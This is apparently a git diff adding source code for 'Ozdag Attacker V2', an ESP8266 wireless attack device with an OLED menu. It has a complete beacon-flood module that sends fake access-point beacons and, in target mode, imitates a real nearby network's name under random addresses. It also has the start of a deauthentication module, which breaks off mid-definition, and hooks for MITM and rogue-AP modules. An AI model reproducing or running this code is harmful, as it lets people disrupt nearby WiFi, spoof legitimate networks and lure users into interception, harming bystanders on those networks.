diff --git a/ESP8266_Ozdag_Attacker_V2.ino b/ESP8266_Ozdag_Attacker_V2.ino new file mode 100644 index 0000000..ad5ee7a --- /dev/null +++ b/ESP8266_Ozdag_Attacker_V2.ino @@ -0,0 +1,165 @@ +/* + * ESP8266 Ozdag Attacker V2 + * + * A redesigned WiFi testing tool for ESP8266. + * Starting fresh with a new structure. + */ + +#include +#include +#include "src/config.h" +#include "src/ui.h" +#include "src/utils.h" +// Include headers for attack modules +#include "src/scanner.h" +#include "src/deauth.h" +#include "src/beacon.h" +#include "src/mitm.h" +#include "src/rogue_ap.h" + +void setup() { + Serial.begin(115200); + Serial.println("\n\nESP8266 Ozdag Attacker V2 Booting..."); + + // Initialize UI (OLED, Button) + Serial.println("Initializing OLED..."); + if (!oled.begin()) { + Serial.println("!!! OLED initialization failed!"); + // Optional: loop forever or indicate error differently + while(1) delay(100); + } else { + Serial.println("OLED Initialized OK."); + + // --- Start Matrix Boot Animation --- + const char* bootText = "Ozdag Attacker V2"; + int textWidth = 0; + int textHeight = 10; // Approx height for 6x10 font + int textX, textY; + + const int NUM_STREAMS = 20; // Number of falling character streams + int streamY[NUM_STREAMS]; + int streamX[NUM_STREAMS]; + int streamSpeed[NUM_STREAMS]; + const int streamLen = 5; // How many chars trail behind the leader + const int charHeight = 7; // Approx height for 5x7 font + + int animDuration = 3000; // Total animation duration in ms + int stepDelay = 50; // Delay between frames + unsigned long animStartTime = millis(); + + // Initialize streams + for (int i = 0; i < NUM_STREAMS; ++i) { + streamX[i] = random(0, SCREEN_WIDTH / 5) * 5; // Align to 5px grid roughly + streamY[i] = random(-SCREEN_HEIGHT * 2, 0); // Start off-screen + streamSpeed[i] = random(2, 6); // Random speeds + } + + oled.setFont(u8g2_font_6x10_tf); // Font for main text + textWidth = oled.getStrWidth(bootText); + textX = (SCREEN_WIDTH - textWidth) / 2; + textY = SCREEN_HEIGHT - textHeight - 5; // Position text towards bottom + + while (millis() - animStartTime < animDuration) { + oled.clearBuffer(); + oled.setFont(u8g2_font_5x7_tf); // Font for rain + + // Draw and update streams + for (int i = 0; i < NUM_STREAMS; ++i) { + // Draw stream tail (dimmer or different chars could be used) + for (int j = 1; j <= streamLen; ++j) { + int y = streamY[i] - (j * charHeight); + if (y > 0 && y < SCREEN_HEIGHT) { + // Use a random character for the rain + char randomChar = (char)random(33, 127); // Printable ASCII + oled.drawGlyph(streamX[i], y, randomChar); + } + } + + // Draw leading character (brighter/different? just random for now) + if (streamY[i] > 0 && streamY[i] < SCREEN_HEIGHT) { + char randomChar = (char)random(33, 127); + oled.drawGlyph(streamX[i], streamY[i], randomChar); + } + + // Update position + streamY[i] += streamSpeed[i]; + + // Reset if off screen + if (streamY[i] - (streamLen * charHeight) > SCREEN_HEIGHT) { + streamX[i] = random(0, SCREEN_WIDTH / 5) * 5; + streamY[i] = random(-charHeight * streamLen, 0); // Reset near top + streamSpeed[i] = random(2, 6); + } + } + + // --- Draw Static Text --- + oled.setFont(u8g2_font_6x10_tf); // Switch font for title + oled.setDrawColor(1); // Ensure foreground color + // Optional: Draw a black box behind text for better visibility + // oled.setDrawColor(0); + // oled.drawBox(textX - 1, textY - textHeight, textWidth + 2, textHeight + 2); + // oled.setDrawColor(1); + oled.drawStr(textX, textY, bootText); + + oled.sendBuffer(); + delay(stepDelay); + } + // --- End Matrix Boot Animation --- + + // Clear buffer before showing next init messages if desired + // oled.clearBuffer(); + // oled.sendBuffer(); + } + + ui_init(); + Serial.println("UI Initialized."); + + // Initialize WiFi in a known state (STA mode, disconnected) + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + Serial.println("WiFi Initialized (STA Mode, Disconnected)."); + + // Initialize attack/scanner modules (call their init functions here) + // Note: Initialization order might matter later depending on dependencies + scanner_init(); // <<< RESTORE + deauth_init(); // <<< RESTORE + beacon_init(); // <<< RESTORE + // dos_init(); // Removed + mitm_init(); // <<< UNCOMMENT + rogue_ap_init(); // <<< UNCOMMENT/RESTORE + Serial.println("Modules Initialized."); // <<< RESTORE + + Serial.println("Setup Complete."); +} + +void loop() { + // Button handling and drawing are now managed within ui_update() + ui_update(); + + // Update based on current UI state + switch (currentState) { + case UIState::MAIN_MENU: + // Nothing module-specific runs here + break; + case UIState::SCANNER_MODE: + scanner_update(); // <<< RESTORE + break; + case UIState::DEAUTH_MODE: + deauth_update(); // <<< RESTORE + break; + case UIState::BEACON_MODE: + beacon_update(); // <<< RESTORE + break; + case UIState::MITM_MODE: + mitm_update(); // <<< UNCOMMENT + break; + case UIState::ROGUE_AP_MODE: + rogue_ap_update(); // <<< UNCOMMENT/RESTORE + break; + default: + // Handle unknown state? Maybe just yield. + break; + } + + yield(); // Allow background tasks +} \ No newline at end of file diff --git a/platformio.ini b/platformio.ini new file mode 100644 index 0000000..dd1fbef --- /dev/null +++ b/platformio.ini @@ -0,0 +1,18 @@ +; PlatformIO Project Configuration File +; +; Build options: build flags, source filter +; Upload options: custom upload port, speed and extra flags +; Library options: dependencies, extra library storages +; Advanced options: extra scripting +; +; Please visit documentation for the other options and examples +; https://docs.platformio.org/page/projectconf.html + +[env:nodemcuv3] +platform = espressif8266 +board = nodemcuv3 +framework = arduino +monitor_speed = 115200 +lib_deps = + ; OLED Display Library + olikraus/U8g2 @ ^2.35.8 \ No newline at end of file diff --git a/src/beacon.cpp b/src/beacon.cpp new file mode 100644 index 0000000..7812497 --- /dev/null +++ b/src/beacon.cpp @@ -0,0 +1,465 @@ +#include "beacon.h" +#include "ui.h" // For drawing, state access, OLED +#include "utils.h" // For random MAC, etc. +#include "config.h" // <<< Ensures MAX_LINES_PER_SCREEN is visible +#include "scanner.h" // <<< Included via beacon.h, ensures MAX_APS is visible +#include // For OLED drawing +#include // For memcpy, strlen +#include // For offsetof +#include // For std::min + +// --- Global Variable Definitions --- +bool beacon_flood_active = false; +uint8_t beacon_target_ap_bssid[6] = {0}; +char beacon_target_ap_ssid[33] = {0}; +uint8_t beacon_target_ap_channel = 0; + +// --- Internal State --- +static BeaconStateType currentBeaconState = BeaconStateType::MODE_SELECTION; // Start at mode selection +static unsigned long last_beacon_time = 0; +static unsigned long last_redraw_time = 0; // <<< Add timer for redraw +static unsigned long last_channel_hop_time = 0; +static uint8_t current_beacon_channel = 1; +static uint32_t beacon_packets_sent = 0; +static int current_ssid_index = 0; +static int selected_mode_index = 0; // 0 = Random, 1 = Target +static int target_ssid_variation_index = 0; // Index for cycling through variations +static const char* mode_names[] = {"Random", "Target"}; + +// Target AP Selection state +static int selected_ap_index = 0; // Index within the *scanner's* ap_list +static int ap_display_offset = 0; // For scrolling AP list + +// Access scanner data (ensure scanner.h included and these are accessible) +extern AccessPointInfo ap_list[MAX_APS]; +extern uint8_t ap_count; + +// --- SSID List for Flooding --- +// Example list - can be expanded or loaded from SD card later +static const char* beacon_ssid_list[MAX_BEACON_SSIDS] = { + "Free Public WiFi", "Airport WiFi", "Coffee Shop Guest", "Hotel Guest", + "FBI Surveillance Van", "Totally Legit Network", "Virus Update Server", + "Your AP Sucks", "Upgrade Now!", "Network Not Found", "Loading...", + "Hidden Network", "Pretty Fly for a Wi-Fi", "Get Off My LAN", + "Definitely Not a Trap", "Secure Network", "Guest Access Point", + "Mobile Hotspot", "Connect Here", "Ozdag Attacker" +}; +static const int beacon_ssid_list_count = sizeof(beacon_ssid_list) / sizeof(char*); + +// --- Target Mode SSID Variations --- +static const char* target_suffixes[] = { + "", // Original SSID + ".", + "..", + " guest", + " Setup", + "_EXT", + "-5G", // Common variations + " Free WiFi" +}; +static const int num_target_suffixes = sizeof(target_suffixes) / sizeof(target_suffixes[0]); + +// --- External UI Elements --- +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; +extern bool needsRedraw; +extern UIState currentState; // To return to main menu + +// --- Constants (Defined in beacon.h) --- +// #define BEACON_PACKET_INTERVAL 10 +// #define BEACON_CHANNEL_HOP_INTERVAL 500 // <<< REMOVE duplicate definition +// #define MAX_BEACON_SSIDS 20 +// #define MAX_SSID_LEN 32 + +// --- Beacon Packet Structure --- +// Based on common beacon frame fields +typedef struct { + frame_control_t frame_control; // Type: Mgmt, Subtype: Beacon (0x80) + uint16_t duration_id; // Typically 0 + uint8_t addr1[6]; // Destination: Broadcast (FF:FF:FF:FF:FF:FF) + uint8_t addr2[6]; // Source: Random BSSID + uint8_t addr3[6]; // BSSID: Same as Source + uint16_t seq_ctrl; // Sequence number (auto-incremented by SDK if sys_seq=true?) + // --- Wireless Management Fields --- + uint64_t timestamp; // Typically 0 or current time (can be fixed) + uint16_t beacon_interval; // Time between beacons (e.g., 100 TU = 102.4ms) + uint16_t capability_info; // Capabilities (e.g., 0x0411 for ESS, Privacy, Short Preamble) + // --- Tagged Parameters --- + // Tag: SSID parameter set (0) + uint8_t ssid_tag_num; // 0 + uint8_t ssid_len; // Length of SSID + uint8_t ssid[MAX_SSID_LEN]; // SSID itself + // Tag: Supported Rates (1) + uint8_t rates_tag_num; // 1 + uint8_t rates_len; // Number of rates (e.g., 8) + uint8_t rates[8]; // Example: 1, 2, 5.5, 11, 6, 9, 12, 18 Mbps (basic rates marked with 0x80 bit) + // Tag: DS Parameter set (3) + uint8_t ds_tag_num; // 3 + uint8_t ds_len; // 1 + uint8_t ds_channel; // Current channel + // Optional: Add more tags like TIM, Country, RSN if needed +} __attribute__((packed)) beacon_packet_t; // Use packed attribute for precise layout + +// Define standard supported rates (802.11b/g) - Basic rates have MSB set +static const uint8_t default_rates[] = {0x82, 0x84, 0x8B, 0x96, 0x0C, 0x12, 0x18, 0x24}; // 1, 2, 5.5, 11, 6, 9, 12, 18 Mbps +static const uint8_t default_rates_len = sizeof(default_rates); + +static beacon_packet_t beacon_packet; // Reusable packet buffer + +// --- Initialization --- +void beacon_init() { + Serial.println("Beacon Module Initialized."); + currentBeaconState = BeaconStateType::MODE_SELECTION; // Start at mode selection + beacon_flood_active = false; + current_beacon_channel = 1; + last_beacon_time = 0; + last_channel_hop_time = 0; + beacon_packets_sent = 0; + current_ssid_index = 0; + selected_mode_index = 0; + selected_ap_index = 0; + ap_display_offset = 0; + memset(beacon_target_ap_bssid, 0, 6); + memset(beacon_target_ap_ssid, 0, 33); + beacon_target_ap_channel = 0; + + // Ensure WiFi is in a state suitable for injection (promiscuous STA) + // This might already be set by deauth_init, but good to ensure + wifi_promiscuous_enable(0); // Disable first to reset if needed + wifi_set_opmode(STATION_MODE); + // wifi_promiscuous_enable(1); // <<< COMMENT THIS OUT FOR NOW + // Serial.println("Beacon Init: Promiscuous mode enabled."); // <<< COMMENT THIS OUT + + // Set initial channel (will be overridden if target mode selected) + // Don't set channel here, wait until flooding starts + // wifi_set_channel(current_beacon_channel); + // Serial.printf("Beacon Init: Set initial channel to %d\n", current_beacon_channel); + + needsRedraw = true; // Trigger UI redraw for the beacon screen +} + +// --- Stop Function --- +void beacon_stop() { + if (beacon_flood_active) { + beacon_flood_active = false; + currentBeaconState = BeaconStateType::MODE_SELECTION; // Return to mode selection + Serial.println("Beacon Flood Stopped."); + // Optional: Restore original channel? Disable promiscuous? + wifi_promiscuous_enable(0); // <<< Disable promiscuous mode on stop + Serial.println("Beacon Stop: Disabled promiscuous mode."); + needsRedraw = true; + } +} + +// --- Main Update Loop --- +void beacon_update() { + // Only run flooding logic if in a flooding state and active + if (!beacon_flood_active || (currentBeaconState != BeaconStateType::FLOODING_RANDOM && currentBeaconState != BeaconStateType::FLOODING_TARGET)) { + return; // Only run logic when actively flooding + } + + unsigned long current_time = millis(); + bool packet_sent_this_cycle = false; // Flag to check if we sent a packet + + // --- Channel Hopping (Only for Random Mode) --- + if (currentBeaconState == BeaconStateType::FLOODING_RANDOM) { + if (current_time - last_channel_hop_time > BEACON_CHANNEL_HOP_INTERVAL) { + current_beacon_channel = (current_beacon_channel % 14) + 1; // Cycle 1-14 + bool channel_set_ok = wifi_set_channel(current_beacon_channel); + last_channel_hop_time = current_time; + // Only log if failed, to reduce spam + if (!channel_set_ok) { + Serial.printf("Beacon Random: Set channel %d -> FAIL\n", current_beacon_channel); + } + } + } + // Note: For FLOODING_TARGET, the channel is fixed and set when starting the flood. + + // --- Send Beacon Packet --- + if (current_time - last_beacon_time > BEACON_PACKET_INTERVAL) { + // 1. Select SSID based on mode + // Use a temporary buffer for the SSID to send + char ssid_to_send[MAX_SSID_LEN + 1] = {0}; + uint8_t ssid_len_to_send = 0; + + if (currentBeaconState == BeaconStateType::FLOODING_RANDOM) { + // Use SSID from list + strncpy(ssid_to_send, beacon_ssid_list[current_ssid_index], MAX_SSID_LEN); + ssid_len_to_send = strlen(ssid_to_send); + // Cycle to next list SSID for next time + current_ssid_index = (current_ssid_index + 1) % beacon_ssid_list_count; + } else { // FLOODING_TARGET + // --- Generate SSID Variation for Target Mode --- + const char* base_ssid = beacon_target_ap_ssid; + const char* suffix = target_suffixes[target_ssid_variation_index]; + size_t base_len = strlen(base_ssid); + size_t suffix_len = strlen(suffix); + + // Construct the SSID, ensuring it fits MAX_SSID_LEN + if (base_len + suffix_len <= MAX_SSID_LEN) { + snprintf(ssid_to_send, sizeof(ssid_to_send), "%s%s", base_ssid, suffix); + } else { + // Suffix doesn't fit, just use the base SSID (truncated if necessary) + strncpy(ssid_to_send, base_ssid, MAX_SSID_LEN); + } + ssid_len_to_send = strlen(ssid_to_send); // Get length of the final SSID + + target_ssid_variation_index = (target_ssid_variation_index + 1) % num_target_suffixes; // Cycle to next suffix for the next packet + } + + // 2. Generate random BSSID (Source MAC) - Use random for both modes for now + uint8_t random_mac[6]; + utils_random_mac(random_mac); // Use utility function + + // 3. Fill beacon_packet structure + // Frame Control: Type Mgmt (00), Subtype Beacon (1000) -> 0x80 + beacon_packet.frame_control.type = 0; // Management + beacon_packet.frame_control.subtype = 8; // Beacon + beacon_packet.frame_control.flags = 0x00; // Set all flags (ToDS, FromDS, MoreFrag, Retry, PwrMgmt, MoreData, Protected, Order) to 0 for open network + + beacon_packet.duration_id = 0; + memset(beacon_packet.addr1, 0xFF, 6); // Destination: Broadcast + memcpy(beacon_packet.addr2, random_mac, 6); // Source: Random MAC + memcpy(beacon_packet.addr3, random_mac, 6); // BSSID: Random MAC + beacon_packet.seq_ctrl = 0; // Let SDK handle sequence number (sys_seq=true) + + beacon_packet.timestamp = 0; // Can be micros() but 0 is fine + beacon_packet.beacon_interval = 100; // 100 TU = 102.4 ms + beacon_packet.capability_info = 0x0411; // ESS, Short Preamble, Short Slot Time (Open Network) + // Use 0x0431 if you want to set the Protected Frame bit in flags to 1 (beacon_packet.frame_control.flags = 0x40;) + + // Tagged Parameters + beacon_packet.ssid_tag_num = 0; // Tag 0: SSID + beacon_packet.ssid_len = ssid_len_to_send; + memcpy(beacon_packet.ssid, ssid_to_send, ssid_len_to_send); + + beacon_packet.rates_tag_num = 1; // Tag 1: Supported Rates + beacon_packet.rates_len = default_rates_len; + memcpy(beacon_packet.rates, default_rates, default_rates_len); + + beacon_packet.ds_tag_num = 3; // Tag 3: DS Parameter Set (Channel) + beacon_packet.ds_len = 1; + beacon_packet.ds_channel = current_beacon_channel; + + // 4. Calculate actual packet size + // Correct calculation: Size up to SSID field + Tag overhead + Actual SSID Len + Rates Tag overhead + Rates Len + DS Tag overhead + DS Channel Len + size_t packet_size = offsetof(beacon_packet_t, ssid) // Size up to SSID field start + + 2 // SSID Tag Num (1) + SSID Len (1) + + ssid_len_to_send // Actual SSID length + + 2 // Rates Tag Num (1) + Rates Len (1) + + default_rates_len // Actual rates length + + 2 // DS Tag Num (1) + DS Len (1) + + 1; // DS Channel (1 byte) + + // 4. Call wifi_send_pkt_freedom + int result = wifi_send_pkt_freedom((uint8_t*)&beacon_packet, packet_size, false); // sys_seq=false for now + + // <<< Log EVERY send attempt and result >>> + Serial.printf("Beacon Send: Ch=%d, SSID='%s', Size=%d, Result=%d\n", + current_beacon_channel, ssid_to_send, packet_size, result); + + if (result == 0) { // Check if sending was successful + beacon_packets_sent++; // Increment only on success + packet_sent_this_cycle = true; // Mark that we sent one + } else { + Serial.printf("!!! Beacon send failed! Result: %d\n", result); // <<< Log failures + } + + last_beacon_time = current_time; + } + + // --- Trigger Redraw Periodically --- + // Update roughly twice per second if packets were sent + if (packet_sent_this_cycle && (current_time - last_redraw_time > 500)) { + needsRedraw = true; + last_redraw_time = current_time; + } + + // Yield occasionally to prevent WDT resets + yield(); +} + +// --- UI Drawing Function --- +// Helper to draw AP list for selection +void beacon_draw_target_selection() { + oled.setFont(u8g2_font_5x7_tf); // Use smaller font for title + int y = 22; // Start position below header + oled.drawStr(0, y, "Select Target AP:"); + y += 10; // Move down for the list + + oled.setFont(u8g2_font_5x7_tf); // Use smaller font for list items + int line_height = 9; // Adjusted line height for 5x7 font + const int items_per_page = 3; // Show 3 items + + // Adjust offset if selection goes off screen + if (selected_ap_index < ap_display_offset) { + ap_display_offset = selected_ap_index; + } + // Ensure offset doesn't make selection go past the last item on the screen + if (selected_ap_index >= ap_display_offset + items_per_page) { + ap_display_offset = selected_ap_index - items_per_page + 1; + } + // Ensure offset doesn't go beyond possible start indices + if (ap_count > items_per_page && ap_display_offset > ap_count - items_per_page) { + ap_display_offset = ap_count - items_per_page; + } + if (ap_display_offset < 0) { // Prevent negative offset + ap_display_offset = 0; + } + + for (int i = 0; i < items_per_page; ++i) { // Loop only 3 times + int current_ap_list_index = ap_display_offset + i; + if (current_ap_list_index >= ap_count) break; // Don't draw past the end + + AccessPointInfo* ap = &ap_list[current_ap_list_index]; + char line_buffer[40]; // Buffer for SSID + channel + + // Indicate selection + char indicator = (current_ap_list_index == selected_ap_index) ? '>' : ' '; + + // Format SSID (truncate if needed) and channel + snprintf(line_buffer, sizeof(line_buffer), "%c%.16s (%d)", + indicator, + ap->ssid[0] == '\0' ? "[Hidden]" : ap->ssid, // Handle hidden SSIDs + ap->channel); + + oled.drawStr(0, y + i * line_height, line_buffer); // Use adjusted line_height + } + + if (ap_count == 0) { + oled.setFont(u8g2_font_6x10_tf); // Switch back for message + oled.drawStr(10, 40, "No APs found!"); + oled.drawStr(10, 55, "Run Scanner first."); + } + + // Draw scroll indicators if necessary + if (ap_count > items_per_page) { + if (ap_display_offset > 0) { + oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow (position adjusted) + } + if (ap_display_offset + items_per_page < ap_count) { + oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow + } + } + + oled.setFont(u8g2_font_5x7_tf); // Ensure smaller font for footer + oled.drawStr(0, SCREEN_HEIGHT -1, "SHORT:Next LONG:Select"); + // Reset font if needed before returning (good practice) + oled.setFont(u8g2_font_6x10_tf); +} + +void beacon_draw() { + // Draw UI based on currentBeaconState + oled.setFont(u8g2_font_6x10_tf); // Consistent font + + switch (currentBeaconState) { + case BeaconStateType::MODE_SELECTION: + oled.drawStr(0, 25, "Beacon Flood Mode:"); + for (int i = 0; i < 2; ++i) { + char indicator = (i == selected_mode_index) ? '>' : ' '; + oled.drawStr(10, 40 + i * 12, String(indicator + String(mode_names[i])).c_str()); + } + oled.setFont(u8g2_font_5x7_tf); // Use smaller font for footer + oled.drawStr(0, SCREEN_HEIGHT -1, "SHORT:Next LONG:Select"); + oled.setFont(u8g2_font_6x10_tf); // Reset font if needed for other parts + break; + case BeaconStateType::SELECT_TARGET_AP: + beacon_draw_target_selection(); // Call helper + break; + case BeaconStateType::FLOODING_RANDOM: + case BeaconStateType::FLOODING_TARGET: // Same display for both flooding modes + oled.drawStr(0, 25, "Beacon Flood Active!"); + char count_str[30]; + snprintf(count_str, sizeof(count_str), "Sent: %lu", beacon_packets_sent); + oled.drawStr(0, 40, count_str); + char chan_str[20]; + // Show target SSID/Channel if target mode + if (currentBeaconState == BeaconStateType::FLOODING_TARGET) { + snprintf(chan_str, sizeof(chan_str), "Tgt: %.10s Ch:%d", beacon_target_ap_ssid, current_beacon_channel); + } else { + snprintf(chan_str, sizeof(chan_str), "Channel: %d (Hop)", current_beacon_channel); + } + oled.drawStr(0, 55, chan_str); + oled.setFont(u8g2_font_5x7_tf); // Use smaller font for footer + oled.drawStr(0, SCREEN_HEIGHT -1, "LONG: Stop"); + oled.setFont(u8g2_font_6x10_tf); // Reset font + break; + } +} + +// --- Input Handling Function --- +void beacon_handle_input(ButtonPressType pressType) { + switch (currentBeaconState) { + case BeaconStateType::MODE_SELECTION: + if (pressType == ButtonPressType::SHORT_PRESS) { + selected_mode_index = (selected_mode_index + 1) % 2; + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + if (selected_mode_index == 0) { // Random selected + // Start Random flooding + beacon_flood_active = true; + currentBeaconState = BeaconStateType::FLOODING_RANDOM; + beacon_packets_sent = 0; + current_beacon_channel = 1; // Start channel hopping at 1 + wifi_set_channel(current_beacon_channel); + last_channel_hop_time = millis(); + last_beacon_time = millis(); + current_ssid_index = 0; + Serial.println("Beacon Flood Started (Random Mode)."); + // <<< Enable Promiscuous Mode >>> + wifi_promiscuous_enable(1); + Serial.println("Beacon Start (Random): Enabled promiscuous mode."); + needsRedraw = true; + } else { // Target selected + // Go to AP selection screen + currentBeaconState = BeaconStateType::SELECT_TARGET_AP; + selected_ap_index = 0; // Reset selection + ap_display_offset = 0; + needsRedraw = true; + } + } + break; + + case BeaconStateType::SELECT_TARGET_AP: + if (ap_count == 0) { // No APs to select + if (pressType == ButtonPressType::LONG_PRESS) { // Go back + currentBeaconState = BeaconStateType::MODE_SELECTION; + needsRedraw = true; + } + break; + } + if (pressType == ButtonPressType::SHORT_PRESS) { + selected_ap_index = (selected_ap_index + 1) % ap_count; + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + // Target AP selected, store its info + AccessPointInfo* target_ap = &ap_list[selected_ap_index]; + memcpy(beacon_target_ap_bssid, target_ap->bssid, 6); + strncpy(beacon_target_ap_ssid, target_ap->ssid, 32); + beacon_target_ap_ssid[32] = '\0'; // Ensure null termination + beacon_target_ap_channel = target_ap->channel; + + // Start Target flooding + beacon_flood_active = true; + currentBeaconState = BeaconStateType::FLOODING_TARGET; + beacon_packets_sent = 0; + current_beacon_channel = beacon_target_ap_channel; // Use target channel + Serial.printf("Beacon Start: Setting fixed channel %d for target '%s'\n", current_beacon_channel, beacon_target_ap_ssid); + wifi_set_channel(current_beacon_channel); + last_beacon_time = millis(); + // No channel hopping, so last_channel_hop_time isn't used here + // <<< Enable Promiscuous Mode >>> + wifi_promiscuous_enable(1); + Serial.println("Beacon Start (Target): Enabled promiscuous mode."); + needsRedraw = true; + Serial.println("Beacon Flood Started (Target Mode)."); + } + break; + + case BeaconStateType::FLOODING_RANDOM: + case BeaconStateType::FLOODING_TARGET: + if (pressType == ButtonPressType::LONG_PRESS) { + beacon_stop(); // Use the stop function + } + break; + } +} \ No newline at end of file diff --git a/src/beacon.h b/src/beacon.h new file mode 100644 index 0000000..8ae73e9 --- /dev/null +++ b/src/beacon.h @@ -0,0 +1,45 @@ +#ifndef BEACON_H +#define BEACON_H + +#include +#include // For MAC address type, channel functions +#include "ui.h" // For ButtonPressType, UIState access +#include "scanner.h" // <<< INCLUDE for AccessPointInfo definition + +// --- Beacon Module States --- +enum class BeaconStateType { + MODE_SELECTION, // Choose between Random / Target + SELECT_TARGET_AP, // Show AP list from scanner to choose target + FLOODING_RANDOM, // Flooding random SSIDs from list (old behavior) + FLOODING_TARGET // Flooding target SSID with random BSSIDs +}; + +// --- Constants --- +#define BEACON_PACKET_INTERVAL 10 // ms between sending beacon packets (adjust as needed) +#define BEACON_CHANNEL_HOP_INTERVAL 500 // ms between channel changes +#define MAX_BEACON_SSIDS 20 // Max number of SSIDs in our list +#define MAX_SSID_LEN 32 + +// --- Global Variables (accessible by other modules if needed) --- +extern bool beacon_flood_active; +extern uint8_t beacon_target_ap_bssid[6]; // Store selected target BSSID +extern char beacon_target_ap_ssid[33]; // Store selected target SSID +extern uint8_t beacon_target_ap_channel; // Store selected target channel + +// --- Function Declarations --- +void beacon_init(); +void beacon_update(); +void beacon_stop(); // Function to stop the flood cleanly +void beacon_draw(); // Function to draw beacon UI based on state +void beacon_handle_input(ButtonPressType pressType); // Handle button presses + +// --- SDK function declarations (already in deauth.h, but good practice) --- +extern "C" { + #include "user_interface.h" + int wifi_send_pkt_freedom(uint8_t *buf, int len, bool sys_seq); + bool wifi_set_channel(uint8_t channel); + uint8_t wifi_get_channel(); + // Add others if needed (e.g., wifi_promiscuous_enable) +} + +#endif // BEACON_H \ No newline at end of file diff --git a/src/config.h b/src/config.h new file mode 100644 index 0000000..34f195c --- /dev/null +++ b/src/config.h @@ -0,0 +1,42 @@ +#ifndef CONFIG_H +#define CONFIG_H + +// --- Hardware Pins --- +#define BUTTON_PIN 0 // D3 (often marked FLASH on NodeMCU) + +// --- Display --- +#define SCREEN_WIDTH 128 +#define SCREEN_HEIGHT 64 +#define MAX_LINES_PER_SCREEN 5 // Max text lines for lists +#define OLED_SDA_PIN 14 // GPIO14 (D5 on NodeMCU) +#define OLED_SCL_PIN 12 // GPIO12 (D6 on NodeMCU) +#define OLED_RESET_PIN -1 // -1 if not used + +// --- Button Timing --- +#define DEBOUNCE_TIME 50 // ms +#define LONG_PRESS_TIME 700 // ms + +// --- Battery Monitoring --- +#define BATTERY_PIN A0 +// Adjust these values based on your battery and voltage divider (if any) +#define VOLTAGE_MAX 4.2 +#define VOLTAGE_MIN 3.3 + +// --- WiFi --- +#define DEFAULT_WIFI_CHANNEL 1 + +// --- WiFi Settings --- +// #define MAX_APS_FOUND 30 +// #define MAX_STAS_FOUND 50 +// #define MAX_SSIDS_SAVED 10 + +// --- MAC Addresses --- +// #define BROADCAST_MAC {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + +// --- Attack Settings --- +#define DEAUTH_PACKET_INTERVAL 100 // Milliseconds between deauth packets +#define BEACON_INTERVAL 100 // Milliseconds for beacon spam + +#define MAX_SSID_LEN 32 // Maximum length for SSID strings + +#endif // CONFIG_H \ No newline at end of file diff --git a/src/deauth.cpp b/src/deauth.cpp new file mode 100644 index 0000000..3641aa8 --- /dev/null +++ b/src/deauth.cpp @@ -0,0 +1,717 @@ +#include "deauth.h" +#include "scanner.h" // Need access to ap_list, sta_list, etc. +#include "ui.h" // For drawing and state access +#include "utils.h" // For macToString +#include // For OLED drawing +#include "config.h" // <<< Add this for SCREEN_WIDTH, SCREEN_HEIGHT +#include // For std::min if needed later + +// --- Declare SDK functions needed --- +extern "C" { + #include "user_interface.h" // Already included indirectly? Still good practice. + // Declare the function prototype directly instead of including phy_info.h + void system_phy_set_max_tpw(uint8 max_tpw); + int wifi_set_user_fixed_rate(uint8_t enable_mask, uint8_t rate); + // wifi_send_pkt_freedom is also declared in deauth.h +} + +// --- Global Variable Definitions --- +uint8_t deauth_target_ap_bssid[6] = {0}; +uint8_t deauth_target_sta_mac[6] = {0}; +char deauth_target_ap_ssid[33] = {0}; +bool deauth_attack_active = false; + +// --- Constant Definitions --- +const uint8_t broadcast_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // <<< DEFINE as const array + +// --- V1 Attack Constants & Variables --- +const uint8_t ATTACK_MODES = 8; +const unsigned long ATTACK_CHANGE_INTERVAL = 100; // ms between attack technique changes (FASTER CYCLE) +const int PACKET_REPEAT_COUNT = 20; // <<< REDUCED: Send fewer packets per burst +const uint8_t NUM_REASONS = 12; +const uint8_t reason_codes[NUM_REASONS] = { + 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 +}; +uint8_t current_attack_mode = 0; // <<< REMOVE static to make it externally visible +static unsigned long last_attack_change = 0; +static uint16_t deauth_seq_num = 0; // Sequence number moved here +static unsigned long last_packet_rate_update = 0; // <<< DECLARE the variable + +// --- Internal State --- +static DeauthStateType currentDeauthState = DeauthStateType::SELECT_AP; +static int selected_ap_index = 0; // Index within the *scanner's* ap_list +static int ap_display_offset = 0; // <<< Add offset for AP list scrolling +static int selected_sta_index = 0; // Index within the filtered list for the selected AP +static int sta_display_offset = 0; // <<< Add offset for STA list scrolling +static uint8_t target_channel = 1; // Channel of the target AP +static uint32_t packets_sent = 0; + +// Filtered list of stations for the selected AP +static StationInfo stations_of_selected_ap[MAX_STAS_PER_AP]; +static uint8_t stations_of_selected_ap_count = 0; +static const int BROADCAST_STA_INDEX = 0; // Index 0 in the STA list will represent Broadcast + +// --- External UI Elements --- +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; +extern bool needsRedraw; +extern UIState currentState; // <<< Make sure this is extern (needed for state changes) +extern int currentMenuIndex; // <<< Make sure this is extern (needed for state changes) +extern uint8_t current_channel; // <<< CORRECT TYPE: Match scanner.h (uint8_t) + +// --- V1 Packet Structures --- +typedef struct { + frame_control_t frame_control; + uint16_t duration_id; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + uint16_t seq_ctrl; + uint16_t reason_code; // Reason for deauthentication +} deauth_packet_t; + +typedef struct { + frame_control_t frame_control; + uint16_t duration_id; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + uint16_t seq_ctrl; + uint16_t reason_code; // Reason for disassociation +} disassoc_packet_t; + +typedef struct { + frame_control_t frame_control; + uint16_t duration_id; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + uint16_t seq_ctrl; + uint16_t auth_alg; + uint16_t auth_seq; + uint16_t status_code; +} auth_packet_t; + +typedef struct { + frame_control_t frame_control; + uint16_t duration_id; + uint8_t addr1[6]; + uint8_t addr2[6]; + 